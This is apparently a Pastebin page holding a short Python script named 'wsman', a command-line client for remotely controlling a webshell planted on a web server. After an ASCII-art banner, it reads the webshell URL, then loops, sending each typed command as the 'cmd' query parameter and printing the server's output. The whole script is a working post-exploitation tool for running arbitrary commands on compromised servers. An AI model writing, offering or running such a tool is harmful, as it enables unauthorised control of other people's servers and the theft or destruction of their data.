Advertisement
Guest User

Untitled

a guest
Feb 26th, 2020
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.73 KB | None | 0 0
  1. # wsman for linux
  2. # version 1
  3. # by finnnnnn
  4.  
  5. import requests
  6. import pycurl
  7. import re
  8. from sty import fg, bg, ef, rs
  9.  
  10. try:
  11.  
  12. # change title colours
  13. ln1 = fg.red + "▄▄▌ ▐ ▄▌.▄▄ · • ▌ ▄ ·. ▄▄▄· ▐ ▄ " + fg.rs
  14. ln2 = fg.red + "██· █▌▐█▐█ ▀. ·██ ▐███▪▐█ ▀█ •█▌▐█" + fg.rs
  15. ln3 = fg.red + "██▪▐█▐▐▌▄▀▀▀█▄▐█ ▌▐▌▐█·▄█▀▀█ ▐█▐▐▌" + fg.rs
  16. ln4 = fg.red + "▐█▌██▐█▌▐█▄▪▐███ ██▌▐█▌▐█ ▪▐▌██▐█▌" + fg.rs
  17. ln5 = fg.red + " ▀▀▀▀ ▀▪ ▀▀▀▀ ▀▀ █▪▀▀▀ ▀ ▀ ▀▀ █▪" + fg.rs
  18.  
  19. # print title
  20. print(ln1)
  21. print(ln2)
  22. print(ln3)
  23. print(ln4)
  24. print(ln5)
  25.  
  26. # print welcome message
  27. print("welcome to cool kid wsman!")
  28. print("ctrl+c to exit...")
  29. print("")
  30.  
  31. print("enter path to webshell: ")
  32. print("")
  33.  
  34. # set url to input for curl
  35. url = input()
  36.  
  37. # get source code of site after entering input as params
  38. while True:
  39. print("")
  40. print("enter command:")
  41.  
  42. # enter > before input because why not
  43. print("$>", end = '')
  44. command = input()
  45. params = (
  46. ('cmd', command),)
  47.  
  48. # curl user inputs as url and params / commmand
  49. response = requests.get(url, params=params)
  50. test_string = response.text
  51.  
  52. #print output without html tags
  53. test_string2 = test_string.replace("</pre>", "")
  54. print("")
  55. print(test_string2.replace("<pre>", ""))
  56.  
  57. except KeyboardInterrupt:
  58. print("Exiting...")
  59. # quit
  60. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement